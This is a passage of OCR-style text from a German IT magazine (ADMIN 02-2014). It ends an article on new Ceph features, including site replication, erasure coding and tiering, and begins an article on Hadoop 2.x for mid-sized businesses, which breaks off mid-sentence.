bereits einigermaßen verbreitet.<br />

Dass die Entwickler nun den Versuch<br />

Abbildung 2: »ceph‐deploy« geriert sich fast schon wie eine Shell. Mit den entsprechenden Parametern<br />

baut es einen kompletten Ceph-Cluster auf.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


60<br />

Know-how<br />

Ceph<br />

Abbildung 3: Erasure Coding beschreibt Entwickler Loic Dachary<br />

als „anderen Namen für RAID 5“. Jedenfalls geht es um das Chunkbasierte<br />

Ablegen von Daten.<br />

unternehmen, den alten Namen »RA-<br />

DOS« loszuwerden und stattdessen die<br />

positiven Konnotationen von »Ceph« auf<br />

die gesamte Lösung übertragen möchten,<br />

erscheint durchaus konsequent<br />

– ungewohnt ist es trotzdem. Über die<br />

Lösung für ein Namensproblem brütet<br />

Inktank zudem bis jetzt: Das Dateisystem,<br />

das vorher nur »Ceph« hieß, heißt<br />

<strong>mit</strong>tlerweile offiziell »CephFS« – weil das<br />

Modul als »Ceph« aber bereits im Kernel<br />

ist, wird eine Änderung des Namens hier<br />

nochmal deutlich schwieriger. Wie das<br />

Thema ausgeht, war bei Redaktionsschluss<br />

noch nicht absehbar.<br />

Site-Replikation<br />

Auch bei den einzelnen Ceph-Komponenten<br />

selbst tut sich einiges. Eine<br />

neue Funktion, die viele Ceph-Benutzer<br />

sehnsüchtig erwartet haben, hat zunächst<br />

das Ceph-Gateway spen diert<br />

bekommen, also die ReSTful-API für<br />

den Objectstore: Ab Version 0.67, also<br />

Dumpling, beherrscht jenes näm lich die<br />

Möglichkeit, einzelne Sites zu definieren.<br />

Zwischen diesen Sites kümmert sich das<br />

Ceph-Gateway dann um die Replikation.<br />

Einen tatsächlichen praktischen Nutzen<br />

hat das Feature der Site-Einteilung in<br />

Dumpling allerdings noch nicht – dieser<br />

gesellte sich im Emperor-Release hinzu:<br />

Zusammen <strong>mit</strong> Emperor erblickte<br />

nämlich der »radosgw‐agent« das Licht<br />

der Welt – spannenderweise<br />

wieder <strong>mit</strong> altem<br />

Namen. Der Agent<br />

nutzt die Einteilung in<br />

Sites und verwendet<br />

sie, um eine asynchrone<br />

Replikation<br />

zwischen mehreren<br />

Standorten zu etablieren.<br />

Zusammen schaffen<br />

also die beiden<br />

Features tatsächlich<br />

die Möglichkeit, <strong>mit</strong><br />

Ceph über die Grenzen<br />

von einem einzelnen<br />

Rechenzentrum hinweg<br />

sinnvoll zu replizieren<br />

– eine Funktion,<br />

die sich einige Ceph-<br />

Anwender lange Zeit<br />

sehnlichst gewünscht<br />

haben. Bisher war es<br />

<strong>mit</strong> Ceph lediglich möglich, im Rahmen<br />

der CRUSH-Map die Server in zwei Rechenzentren<br />

entsprechenden Gruppen<br />

zuzuweisen. Weil Ceph per se aber nur<br />

die synchrone Replikation beherrscht,<br />

hat diese Art der Einteilung de facto<br />

keinen Unterschied gemacht.<br />

HTTP-basierte Konfiguration<br />

Ebenfalls in Dumpling hinzugekommen<br />

ist das Feature, das die Entwickler als<br />

»ReSTful‐basierte HTTP‐Konfiguration«<br />

bezeichnen. Wer zunächst an ein Web-<br />

Interface denkt, liegt da<strong>mit</strong> allerdings<br />

daneben, denn gemeint ist hier in der<br />

Tat ein Konfigurationsmechanismus,<br />

der sich per ReSTful-Protokoll über eine<br />

eigens dafür in Ceph implementierte<br />

API ansteuern lässt. Die API kennt eigene<br />

Befehle, versucht sich in Sachen<br />

Syntax aber weitestgehend an die vom<br />

»ceph«-Programm gewohnten Konventionen<br />

zu halten. Die Lösung verfügt<br />

über einen eigenen Single-Threaded<br />

HTTP-Server, und letztlich dürfte diese<br />

Art der Ceph-Administration der Konfiguration<br />

über die Kommandozeile<br />

ebenbürtig sein. Beide Mechanismen<br />

wollen die Ceph-Entwickler jedenfalls<br />

Seite an Seite pflegen.<br />

Kleinvieh in Emperor<br />

Die Ceph-Version 0.72 alias »Emperor«,<br />

die im November erschienen ist, kam<br />

ohne pompöses Release-Announcement<br />

aus und widmete sich eher<br />

verschiedenen Details. Dazu gehören<br />

Performance-Improvements hier und<br />

da sowie verschiedene Optimierungen,<br />

was die Benutzbarkeit einzelner<br />

Dienste angeht. Die MONs können seit<br />

Emperor beispielsweise Nutzungsstatistiken<br />

basierend auf der Einteilung<br />

von Ceph in Pools ausgeben; obendrein<br />

warnen die MONs nun auch, wenn<br />

Pools <strong>mit</strong> einer Anzahl von Placement<br />

Groups angelegt werden, die technisch<br />

nicht sinnvoll ist. Im Ceph-Gateway<br />

lassen sich seit Emperor Quotas definieren,<br />

was eine echte Premiere in<br />

Ceph darstellt – bis jetzt waren Quotas<br />

allenfalls ein Wunsch in der Planung<br />

vieler Ceph-Nutzer.<br />

Quasi neben dem offiziellen Release-<br />

Cycle haben die Inktank-Entwickler auf<br />

dem Weg zu Emperor übrigens auch an<br />

anderen Projekten herumgeschraubt;<br />

Zeugnis davon legt das »tgt«-iSCSI-<br />

Target ab. Denn jenes kann nun über<br />

die »librados« un<strong>mit</strong>telbar und direkt<br />

<strong>mit</strong> Ceph sprechen, ohne den mühsamen<br />

Umweg über ein »rbd«-Device zu<br />

gehen.<br />

Was harmlos klingt, wirkt sich deutlich<br />

erkennbar auf die Benutzbarkeit von<br />

Ceph <strong>mit</strong> iSCSI aus: Der alte Mechanismus<br />

<strong>mit</strong> einem »rbd«-Device und darauf<br />

liegendem »tgt«-Target ermöglicht<br />

es nämlich beispielsweise nicht, das<br />

Target auf einem Host laufen zu lassen,<br />

der selbst Teil des Kernels ist. Eine<br />

Li<strong>mit</strong>ierung im Linux-Kernel würde bei<br />

solchen Setups unter hoher Last sporadisch<br />

zu Deadlocks führen (das Problem<br />

ist übrigens nicht Ceph-spezifisch<br />

sondern bezieht sich generell auf die<br />

sogenannten „Loopmounts“ und vergleichbare<br />

Konstrukte [3]). Durch die<br />

Änderungen an »tgt« fällt wie erwähnt<br />

der Umweg über den Kernel weg und<br />

das Problem erübrigt sich.<br />

Eine zusätzliche Neuerung in Emperor<br />

erfreut die Benutzer, die Ceph in der<br />

Kombination <strong>mit</strong> OpenStack einsetzen<br />

und Ceph dort insbesondere als Ersatz<br />

für OpenStacks eigenen Objektspeicher<br />

Swift <strong>nutzen</strong>. Swift unterstützt ja neben<br />

dem eigenen, nativen Protokoll auch<br />

Amazons S3 in ausreichend kompatibler<br />

Art und Weise. Das Ceph-Gateway,<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Know-how<br />

Ceph<br />

61<br />

das als ReSTful-Schnittstelle für Ceph<br />

dient, kennt ebenfalls beide Protokolle.<br />

Allerdings war die Anbindung des<br />

Ceph-Gateways an Keystone bis jetzt<br />

eher löchrig. Keystone ist die Komponente,<br />

die sich um die Authentifizierung<br />

von Nutzern in OpenStack kümmert.<br />

Das Ceph-Gateway konnte Keystone<br />

zwar <strong>nutzen</strong>, allerdings ließ es sich<br />

dann nur im Kompatibilitätsmodus für<br />

das Swift-eigene Protokoll verwenden<br />

– die Option, Amazons S3 ebenfalls<br />

anzubieten, fiel flach. Dieses Problem<br />

haben die Ceph-Entwickler in Emperor<br />

aber beseitigt: Das Ceph-Gateway in<br />

Emperor kann auf der einen Seite direkt<br />

<strong>mit</strong> Keystone verbunden sein und<br />

von dort seine Nutzerdaten beziehen,<br />

auf der anderen Seite aber sowohl das<br />

S3- wie auch das native Swift-Interface<br />

an die Außenwelt durchreichen.<br />

Insgesamt präsentiert sich Emperor<br />

insofern als stabiles Wartungsrelease<br />

ohne aufregende Neuerungen.<br />

Was Firefly bringt<br />

Angesichts der Tatsache, dass Ceph<br />

alles andere als Feature-complete ist,<br />

stellt sich freilich die Frage nach dem<br />

Next Big Thing. Tatsächlich werkeln die<br />

Ceph-Entwickler derzeit an zwei Features<br />

für die nächste Version („Firefly“),<br />

die Sensationspotenzial haben: Storage<br />

Tiering auf der einen und Erasure<br />

Coding auf der anderen Seite. Beide<br />

Technologien richten sich gezielt an<br />

Enterprise-Kunden – was bewirken sie,<br />

was wird durch sie besser?<br />

Am Erasure-Coding-Feature hätte zumindest<br />

eine deutsche Kleinpartei ihre<br />

helle Freude – letztlich geht es nämlich<br />

um nichts anderes als „Mehr Netto<br />

vom Brutto“. Gemeint ist freilich Speicherkapazität.<br />

Aktuelle Versionen von<br />

Ceph kranken an der Tatsache, dass<br />

sie Redundanz intern lediglich über<br />

die bloße Replikation binärer Objekte<br />

ermöglichen. Von jedem Objekt gibt<br />

es eine exakte Kopie an einer anderen<br />

Stelle im Cluster.<br />

Wer mehr als eine Replika pro Objekt<br />

haben möchte, verliert also effektiv<br />

jedes Mal einen sehr großen Teil an<br />

verfügbarer Speicherkapazität. Mit drei<br />

Replikas pro Objekt wird aus einem<br />

90-Terabyte-Cluster so ein deutlich<br />

kleinerer 30-Terabyte-Cluster. Dieses<br />

Verhalten ist insofern lästig, als im Storage-Umfeld<br />

ja durchaus schon fertige<br />

Lösungen dafür existieren, wie man das<br />

Problem eleganter löst: RAID-Systeme<br />

garantieren beispielsweise Redundanz<br />

ohne einen solch extremen Abfall der<br />

Nettokapazität.<br />

Erasure Coding soll die Möglichkeit in<br />

Ceph bringen, effektiver in Hinblick<br />

auf den vorhandenen Speicherplatz<br />

Redundanz zu gewährleisten. Eine genaue<br />

Beschreibung des Prinzips würde<br />

den Rahmen des Artikels sprengen, im<br />

Grundsatz funktioniert die Lösung aber<br />

so: Anstatt von binären Objekten ganze<br />

Replikas zu bauen, führt der Cluster ein<br />

System von Paritätsdaten ein und teilt<br />

die Daten anschließend in Chunks auf<br />

(Abbildung 3). Anhand der Paritätsdaten<br />

lässt sich über eine XOR-Tabelle die<br />

Platzierung einzelner Chunks errechnen.<br />

Das System ist den üblichen Mechanismen<br />

von RAID-Lösungen wie RAID 5<br />

also sehr ähnlich, freilich gibt es aber<br />

auch einen Pferdefuß: In Abhängigkeit<br />

von der gewählten Granularität fallen<br />

in einem Erasure-Coding-Szenario beim<br />

Recovery deutlich mehr Netzwerkzugriffe<br />

und auch mehr Traffic an, sodass<br />

der gesamte Vorgang unter Umständen<br />

mehr Zeit in Anspruch nimmt. Wer<br />

seine OSDs über eine 10-Gbit-Verbindung<br />

<strong>mit</strong>einander reden lässt, dürfte<br />

von diesem Effekt nichts spüren; in Betracht<br />

ziehen sollten Administratoren<br />

ihn aber dennoch.<br />

Der Nutzen des Erasure Coding ist im<br />

Vergleich jedenfalls kaum groß genug<br />

einzuschätzen. Wie der Upgrade-Pfad<br />

aussehen wird und ob oder wann es<br />

möglich sein wird, bestehende Installationen<br />

auf Erasure Coding zu ändern,<br />

stand zu Redaktionsschluss übrigens<br />

noch nicht fest. Dass das Feature in der<br />

Firefly-Version kommen wird, darf hingegen<br />

als <strong>sicher</strong> gelten – denn bereits<br />

Mitte Dezember waren die Alpha-Tester


62<br />

Know-how<br />

Ceph<br />

Abbildung 4: Auch an Kleinigkeiten schrauben die Ceph-Entwickler bisweilen herum; die Anzeige des Watchmodes<br />

von »ceph« hat sich über die letzten Versionen mehrere Male geändert. Hier: Emperor.<br />

n Info<br />

fleißig bei der Arbeit. Das ist insofern<br />

beruhigend, als dass Erasure Coding<br />

einige Umbauarbeiten im Code von<br />

Ceph erfordert; offenbar geht man<br />

bei Inktank auf Nummer <strong>sicher</strong>. Loic<br />

Dachary von Cloudwatt, der maßgeblich<br />

für das Erasure-Coding-Feature<br />

verantwortlich ist, ist als Speaker regelmäßig<br />

bei den Ceph-Days anwesend.<br />

Wer ihn also persönlich zum Thema<br />

befragen will, hat im Rahmen dieser<br />

Veranstaltungen die Möglichkeit dazu.<br />

Tiering<br />

Und dann sollte freilich auch das<br />

Thema Tiering nicht unerwähnt bleiben.<br />

In der Storage-Welt genießt dieses<br />

<strong>mit</strong>tlerweile hohe Priorität, denn es<br />

ist eine attraktive Lösung, „wichtige“<br />

oder gerade benutzte Daten in einem<br />

schnellen Storage zwischenzuspeichern,<br />

während ältere, nicht mehr<br />

regelmäßig benötigte Daten durchaus<br />

auch auf langsameren Spinner-Disks<br />

liegen können. Angesichts der noch<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/31565<br />

[1] GlusterFS-Vergleich: [http:// redhatstorage.​<br />

redhat. com/ 2013/ 11/ 07/ red‐hat‐storage‐out<br />

performs‐ceph‐by‐more‐than‐3x‐for‐opensta<br />

ck‐cloud‐environments/]<br />

[2] Ceph-Deploy: [https:// github. com/ ceph/​<br />

ceph‐deploy]<br />

[3] HP zu Loopmounts: [http:// h10025.​<br />

www1. hp. com/ ewfrf/ wc/ document?​<br />

docname=c02073470& cc=at& dlc=en& lc=en]<br />

[4] Ceph-Github: [https:// github. com/ ceph/ ceph]<br />

[5] Ceph-Days: [http:// www. inktank. com/​<br />

CEPHdays/]<br />

immer heftigen Preise für Flash-basierten<br />

Speicher bietet Tierung auf der<br />

Storage-Ebene auch enormes Potenzial<br />

Kosten zu sparen.<br />

Ceph beherrscht Tiering im Ansatz ja<br />

eigentlich ohnehin schon seit etlichen<br />

Versionen. Denn über den von Ceph<br />

genutzten CRUSH-Algorithmus ist es<br />

problemlos möglich, verschiedene<br />

Pools in Ceph <strong>mit</strong> verschiedenen<br />

Speicherzielen zu verbinden. Ein Speicherpool<br />

namens »ssd« könnte also<br />

beispielsweise auf schnelles Storage<br />

zeigen, während ein Storage namens<br />

»sata« für Archivstorage gedacht wäre.<br />

In der Realität scheitert echtes Tiering<br />

in Ceph jedoch daran, dass die Daten<br />

im Moment nicht flexibel zwischen unterschiedlichen<br />

Tiering-Layern hin- und<br />

herwandern können. Es besteht also<br />

nicht die Möglichkeit, gerade genutzte<br />

Daten temporär auf das »ssd«-Storage<br />

auszulagern, um sie danach wieder auf<br />

die »sata«-Ebene zu verschieben. Tiering<br />

wird genau diese Möglichkeit bieten,<br />

und wie beim Erasure-Coding sind<br />

die Arbeiten an der Funktion bereits in<br />

vollem Gange (Abbildung 4).<br />

Und CephFS?<br />

Freilich darf in der Liste der Dinge, an<br />

denen gearbeitet wird, auch CephFS<br />

nicht fehlen: Der Stachel bei Sage<br />

Weil sitzt schon insofern tief, als dass<br />

CephFS jene Komponente ist, die von<br />

ihm nur das Prädikat „almost awesome“<br />

erhält. Bei CephFS ist entgegen<br />

aller Unkenrufe in den letzten Monaten<br />

viel passiert: Kopfschmerzen bereiten<br />

den Entwicklern derzeit eigentlich nur<br />

Setups, in denen der Metadaten-Service<br />

in skaliertem Zustand vorkommt.<br />

Grundsätzlich funktioniert ein CephFS<br />

ja auch <strong>mit</strong> einem einzelnen Metadaten-Server,<br />

aber der kriegt dann die<br />

gesamte Last aller Zugriffe<br />

ab. Über die Einteilung in<br />

eigene Subtrees für spezifische<br />

Metadaten-Bereiche<br />

lässt sich das verhindern:<br />

Dann gibt es einfach mehrere<br />

Metadaten-Server, die<br />

unterschiedliche Bereiche<br />

des Trees abackern. So stabil<br />

wie gewollt ist das allerdings<br />

noch nicht. Wann <strong>mit</strong><br />

einer CephFS-Version 1.0 zu rechnen<br />

ist, ist derzeit noch nicht absehbar.<br />

Release im Februar<br />

Nachdem Sage Weil beschlossen hat,<br />

einen »Continous Release Cycle« von<br />

drei Monaten für Ceph anzuwenden,<br />

steht die nächste Release, <strong>mit</strong> dem<br />

Codenamen Firefly, im Februar 2014<br />

an. Seit der Einführung dieses Release-<br />

Schemas war Weil stets gut darin, den<br />

Zeitplan auch einzuhalten. Falls nichts<br />

dazwischen kommt, dürfte ein Firefly<br />

<strong>mit</strong> Support für Erasure Coding und<br />

Tiering also schon bald zur Verfügung<br />

stehen.<br />

Mit der Firefly-Release nimmt Inktank<br />

übrigens auch die Business-Kunden<br />

noch stärker ins Visier, als es ohnehin<br />

schon der Fall war: Die Version soll die<br />

erste echte »Long Term Support«-Version<br />

werden, für die Inktank mehrere<br />

Jahre Unterstützung verspricht. Gerade<br />

im Storage-Umfeld, in dem der Lebenszyklus<br />

einer Speicherlösung fast immer<br />

auf 5 Jahre angelegt ist (weil bei SAN-<br />

Storages nach dieser Zeit die Garantie<br />

endet), ist das ein wichtiger Faktor und<br />

gibt Planern Sicherheit. Wer einen ersten<br />

Blick auf Firefly werfen will, kann<br />

das bereits tun – auf GitHub finden sich<br />

die passenden Dateien [4].<br />

Übrigens: Inktank plant auch in<br />

Deutschland einen Ceph-Day, der dem<br />

Vernehmen nach in Frankfurt stattfinden<br />

wird. Genauere Details waren<br />

vorab leider noch nicht zu bekommen,<br />

sobald sie aber verfügbar sind, dürften<br />

sie aber auf [5] erscheinen, sodass<br />

sich ein gelegentlicher Blick auf diese<br />

Seite <strong>sicher</strong>lich lohnt. Wer also einmal<br />

Sage Weil treffen möchte, der hat im<br />

Rahmen eines solchen Ceph-Days dazu<br />

jedenfalls in aller Regel auch die Möglichkeit.<br />

(jcb) n<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


64<br />

Know-how<br />

Hadoop<br />

Roman Gorielov, 123RF<br />

Big Data für den Mittelstand<br />

Rechenkünstler<br />

Big Data ist in aller Munde und Hadoop gewinnt an Boden, wenn auch bisher vorwiegend als ein verteiltes<br />

Dateisystem. MapReduce, die Datenverarbeitungs-Engine in Hadoop 1, erscheint vielen noch als zu kompliziert<br />

und zu unflexibel. Hadoop 2.x verspricht, Abhilfe zu schaffen. Anna Kobylinska und Filipe Martins<br />

Alle Unternehmen, von kleinen Webshops<br />

bis hin zu multinationalen<br />

Großkonzernen, sammeln detaillierte<br />

Daten über das Tagesgeschehen, wenn<br />

auch zum Teil ungewollt. Das reicht<br />

von Kaufvorgängen über die Wirkung<br />

von Marketing-Initiativen bis hin zu den<br />

Social-Media-Aktivitäten des Unternehmens.<br />

Diese riesige Menge unstrukturierter<br />

Daten – Big Data – verspricht<br />

wertvolle Einblicke und reichlich Material<br />

für die Entscheidungsfindung zu<br />

liefern. Wer davon profitieren möchte,<br />

muss sich der Herausforderung Big<br />

Data stellen.<br />

SQL, NoSQL, Hadoop<br />

Konventionelle Big-Data-Lösungen<br />

schleppen <strong>mit</strong> sich die Altlasten eines<br />

Ökosystems herum, das rund um eine<br />

Datenbank – sei es SQL oder NoSQL<br />

– aufgebaut ist. Astronomische Lizenzkosten<br />

positionieren sie praktisch<br />

außerhalb der Reichweite <strong>mit</strong>tlerer Un-<br />

ternehmen, und das erst recht, wenn<br />

Hochverfügbarkeitsfeatures erwünscht<br />

sind. Den größten Flaschenhals stellt<br />

bei diesen Lösungen oft die Datenbank<br />

dar, denn sie lässt sich meist nur <strong>mit</strong><br />

erheblichem administrativen Aufwand<br />

über die Grenzen einzelner Server<br />

hinaus skalieren. Herkömmliche Datenanalyse-Verfahren<br />

und relationale<br />

Datenbanken können hier an Grenzen<br />

stoßen. Sogar manche Cloud-Lösungen<br />

skalieren nicht ohne obligatorische<br />

Downtime. Ein möglicher Ausweg heißt<br />

Hadoop.<br />

Apache Hadoop ist ein Framework für<br />

die verteilte Verarbeitung vor allem<br />

unstrukturierter Daten auf Computer-<br />

Clustern. Hadoop macht es möglich,<br />

Rechenprozesse kostengünstig ablaufen<br />

zu lassen, und zwar sowohl onpremise<br />

auf Commodity-Hardware, in<br />

einem Rechenzentrum oder aber in der<br />

virtualisierten Umgebung eines Cloud-<br />

Dienstleisters.<br />

Besonderheiten von Hadoop<br />

Die Zugriffe auf eine gewöhnliche relationale<br />

Datenbank <strong>nutzen</strong> Abfragen<br />

in einem der vielen Dialekte der Standardsprache<br />

SQL (Structured Query<br />

Language). Beim Zugriff auf nicht-relationale<br />

Datenbanken sind neben SQL<br />

andere Abfragesprachen möglich (daher<br />

kommt der Begriff NoSQL). Hadoop<br />

fällt in keine dieser beiden Kategorien,<br />

denn es nutzt einfach gar keine Datenbank.<br />

Genau diesem Ansatz verdankt<br />

Hadoop seine Flexibilität und seine<br />

Robustheit.<br />

Hadoop besteht aus zwei Grundkomponenten:<br />

Zum einem dem verteilten<br />

Dateisystem Hadoop Distributed File<br />

System (HDFS), zum anderen einem<br />

verteilten, modularisierten Datenverarbeitungs-Framework.<br />

Dafür nutzt Hadoop<br />

1.x MapReduce. Hadoop 2.x setzt<br />

an dieser Stelle entweder MapReduce<br />

oder auch dessen Nachfolger YARN ein<br />

(siehe unten).<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Know-how<br />

Hadoop<br />

65<br />

Die Aufgabe von HDFS besteht darin,<br />

die Daten möglichst effizient und<br />

ausfall<strong>sicher</strong> aufzubewahren und möglichst<br />

flott bereitzustellen.<br />

Bei HDFS handelt es sich nicht um<br />

ein „clusterisiertes“, sondern um ein<br />

verteiltes Dateisystem: Es läuft auf<br />

mehreren Knoten in einem Netzwerk –<br />

aber ohne (teure) SAN-Lösung. HDFS ist<br />

dadurch sehr kosteneffizient.<br />

Das Datenverarbeitungs-Framework<br />

spricht <strong>mit</strong> dem Dateisystem, verwaltet<br />

Ressourcen und überwacht<br />

die Ausführung der Befehle, die eine<br />

Hadoop-kompatible Applikation an das<br />

Framework sendet. Diese Befehle bilden<br />

sogenannte Jobs. Die Jobs sind als<br />

einzelne winzige Java-Applikationen<br />

implementiert.<br />

Dank dieser Architektur lassen sich<br />

Workloads nicht nur über mehrere Knoten<br />

eines Computer-Clusters verteilen,<br />

sondern der Cluster selbst lässt sich<br />

umkonfigurieren, noch während er laufende<br />

Jobs ausführt. Daraus resultieren<br />

mehrere wichtige Vorteile. Erstens<br />

trumpft Hadoop <strong>mit</strong> der Fähigkeit auf,<br />

bedarfsgerecht und ohne Downtime<br />

zu skalieren. Diese Elastizität ist nicht<br />

nur dann von Nutzen, wenn die Datenmenge<br />

extrem zu- oder abnimmt,<br />

sondern auch dann, wenn der Termindruck<br />

die temporäre Bereitstellung zusätzlicher<br />

Rechenkapazitäten sinnvoll<br />

erscheinen lässt.<br />

Bei steigender Belastung aktiver Nodes<br />

können zusätzliche Nodes automatisch<br />

gestartet werden, zum Beispiel <strong>mit</strong><br />

dem Amazon Autoscaling API in AWS.<br />

In diesem Fall überwacht die Wolke<br />

die Belastung der einzelnen Instanzen<br />

<strong>mit</strong>hilfe von CloudWatch. Sobald die<br />

Bedingungen, die der Administrator<br />

vorgegeben hat, zutreffen, startet AWS<br />

automatisch neue Server-Instanzen,<br />

die sich in den Hadoop-Cluster integrieren,<br />

bei dem Ressourcen-Verwalter registrieren<br />

und schließlich Jobs zugeteilt<br />

bekommen.<br />

Darüber hinaus arbeitet Hadoop sehr<br />

Ressourcen-schonend, denn anstatt<br />

riesige Datenmengen kreuz und quer<br />

durch das Netz zwischen verschiedenen<br />

Nodes hin und her zu kopieren, wie<br />

es bei vielen RDBMS der Fall ist, sendet<br />

es vergleichsweise winzige Anweisun-<br />

gen genau dorthin, wo<br />

sich die betreffenden<br />

Daten bereits befinden.<br />

In einer Datenbank,<br />

die auf mehreren<br />

Servern läuft, werden<br />

die Daten in der Regel<br />

separat von der<br />

Software-Logik aufbewahrt,<br />

typischerweise<br />

auf verschiedenen<br />

Instanzen. Im Gegensatz<br />

dazu liegen in<br />

einem Hadoop-Cluster<br />

sowohl Daten als auch<br />

die Datenverarbeitungslogik<br />

auf jeder<br />

Maschine. Dadurch<br />

kann das Framework<br />

einzelne Jobs besonders<br />

effizient ausführen:<br />

jeweils auf der<br />

Instanz, auf der die betreffenden<br />

Daten lokal<br />

vorliegen. Die resultierende Redundanz<br />

verteilter Datenverarbeitung verbessert<br />

zudem die Robustheit des Clusters.<br />

Mit einer Vielzahl von kostenlosen wie<br />

auch kommerziellen Tools lässt sich<br />

Hadoop um zusätzliche Fähigkeiten<br />

erweitern. Mit der quelloffenen Applikation<br />

Apache Hive können Sie zum<br />

Beispiel SQL-Abfragen in MapReduce-<br />

Jobs übersetzen und Hadoop wie eine<br />

(verteilte!) SQL-Datenbank ansprechen.<br />

Gefragte Qualifikationen<br />

Wer die Entwicklungen im IT-Jobmarkt<br />

der USA als Messlatte für künftige<br />

Trends ansetzt, wird feststellen, dass<br />

der Bedarf nach Hadoop-Kompetenz<br />

nahezu explodiert (Abbildung 1). Kein<br />

Wunder, denn das Framework findet<br />

viele Einsatzgebiete in der Praxis. Auch<br />

in Deutschland mehren sich inzwischen<br />

Jobangebote rund um Big Data <strong>mit</strong><br />

Hadoop. So suchte der Personaldienstleister<br />

Hays AG deutschlandweit Java-<br />

Entwickler, Softwarearchitekten und<br />

Systemadministratoren <strong>mit</strong> Apache-<br />

Hadoop-Kompetenzen für verschiedene<br />

Standorte. Die JobLeads GmbH<br />

versuchte im gleichen Zeitraum im<br />

Auftrag nicht näher benannter Kunden<br />

nahezu eine Hundertschaft Hadoopversierte<br />

IT-Fachkräfte zu rekrutieren.<br />

Abbildung 1: Trends auf dem Arbeitsmarkt in den USA versprechen<br />

Hadoop-versierten IT-Fachkräften eine leuchtende Zukunft.<br />

Laut einer Studie von IDC verzeichnet<br />

der weltweite Markt für Hadoop einen<br />

jährlichen Zuwachs von 60 Prozent.<br />

Allerdings stellte dieselbe Studie<br />

ebenfalls fest, dass sich dieses Wachstumstempo<br />

fast ausschließlich auf den<br />

Einsatz von Hadoop als elastischen und<br />

günstigen, verteilten Massenspeicher<br />

beschränkt.<br />

Im Bereich der Datenanalyse gehört<br />

Hadoop zwar zur Weltspitze, doch eben<br />

diese Funktionalität scheint in der Praxis<br />

oft brach zu liegen. Hadoop-Anwender<br />

<strong>mit</strong> geringeren Entwicklungskapazitäten<br />

neigen verständlicherweise<br />

dazu, ihre wachsenden Datenbestände<br />

kostengünstig in HDFS vorzuhalten und<br />

die Datenanalyse <strong>mit</strong> externen, wenn<br />

auch schwächeren Lösungen zu bewältigen.<br />

Der Grund dafür ist einleuchtend:<br />

MapReduce in Hadoop 1.x wird von<br />

vielen als zu kompliziert und zu unflexibel<br />

empfunden. Hadoop 2.x soll Abhilfe<br />

schaffen und dem leistungsstarken<br />

Big-Data-Framework zu einer größeren<br />

Verbreitung verhelfen.<br />

Einsatzgebiete und<br />

Anwendungsbeispiele<br />

Praktische Einsatzgebiete von Hadoop<br />

sind sehr vielfältig. Sie beinhalten die<br />

Analyse von Web-Clickstream-Daten<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


66<br />

Know-how<br />

Hadoop<br />

Abbildung 2: Die Media-Asset-Management-Plattform der österreichischen<br />

Red Bull Media House GmbH setzt auf HDFS auf.<br />

zur Optimierung der Konversionsrate,<br />

das Auswerten der Sensordaten eines<br />

Maschinenparks zur Optimierung von<br />

Produktionsprozessen oder von Server-<br />

Logdateien für eine verbesserte Sicherheit,<br />

das Erstellen von Vorhersagen<br />

auf der Basis von Geolocation-Daten,<br />

Data-Mining von Social-Media-Aktivitäten<br />

wie Twitter-Diskussionen oder<br />

Facebook-Likes für ein besseres Verständnis<br />

der eigenen Zielgruppe, statistische<br />

Aufbereitung von Such-Indizes<br />

und RFID-Daten – die Liste nimmt kein<br />

Ende.<br />

Banken und Ver<strong>sicher</strong>ungen <strong>nutzen</strong><br />

Applikationen auf Basis von Hadoop<br />

für die Bewertung von Kunden anhand<br />

ihrer Finanzhistorie <strong>mit</strong>hilfe von Mustererkennungsalgorithmen.<br />

So können<br />

Finanzinstitute unter anderem dem<br />

Kreditkartenmissbrauch einen Riegel<br />

vorschieben und die Kreditwürdigkeit<br />

ihrer Kunden im Rahmen des Risikomanagements<br />

besser einschätzen.<br />

Im E-Commerce und in der Online- und<br />

mobilen Werbung kommt Hadoop<br />

beim Berechnen von Produktempfehlungen<br />

zum Einsatz. Das Verhalten<br />

eines Besuchers im eigenen Webshop<br />

und auf Social Media<br />

dient hier als Grundlage<br />

zum Erforschen<br />

seiner Präferenzen.<br />

Rechenzentren, Telcos<br />

und Webhoster <strong>nutzen</strong><br />

Hadoop-basierte Lösungen,<br />

um Flaschenhälse<br />

oder Fehler in<br />

Netzwerken frühzeitig<br />

zu erkennen, indem sie<br />

den Netzwerkverkehr<br />

statistisch auswerten.<br />

Ein anderes Beispiel<br />

stellen Algorithmen<br />

zur Analyse der Bedeutung<br />

von Texten<br />

dar, die von Menschen<br />

verfasst wurden. So<br />

etwas setzen manche<br />

E-Commerce-Anbieter<br />

und Telekommunikationsdienstleister<br />

beim<br />

Auswerten von Kundenanfragen<br />

ein.<br />

Mit Lösungen auf Basis<br />

von Hadoop lassen<br />

sich auch mehrere verschiedene Datenquellen<br />

kombinieren und so multidimensionale<br />

Analysen erstellen.<br />

Zu den Vorreitern beim Einsatz von<br />

Hadoop für multidimensionale Datenanalyse<br />

zählt die Glücksspielindustrie.<br />

Denn Casinos sind besonders<br />

verwundbar: Im Betrugsfall können<br />

sie in wenigen Minuten sehr viel Geld<br />

verlieren. Analytics-Lösungen für Big<br />

Data haben sich bei der Betrugser<strong>mit</strong>tlung<br />

und beim Erforschen der eigenen<br />

Zielgruppe mehr als bewährt. Dank<br />

Big Data können Casino-Betreiber fein<br />

granulierte Kundenprofile anfertigen.<br />

Alleine das Flamingo-Hotel von Caesars<br />

Entertainment in Las Vegas beschäftigt<br />

200 Big-Data-Analysten. Spezialisierte<br />

Analytics-Lösungen für die Glücksspielindustrie<br />

wie Kognitio (kognitio.com)<br />

setzen auf Hadoop auf.<br />

Spielchips, Kunden-Loyalitätskarten<br />

und sogar Spirituosenflaschen in Bars<br />

wie die bei Aria Hotel und Casino sind<br />

<strong>mit</strong> RFID-Tags ausgestattet. Diese Technologie<br />

erlaubt es, das Geschehen in<br />

Echtzeit zu verfolgen. Casinos nehmen<br />

all diese Messwerte als fein granulierte<br />

Daten konsequent unter die Lupe.<br />

„Casinos stellen die talentiertesten<br />

Kryptographen, Computer-Sicherheitsexperten<br />

und Spieltheoretiker ein“ sagt<br />

John Pironti, leitender Informationsrisikostratege<br />

des Datenschutzspezialisten<br />

Archer Technologies. Sicherheitstechnologien<br />

wie die Videoüberwachung<br />

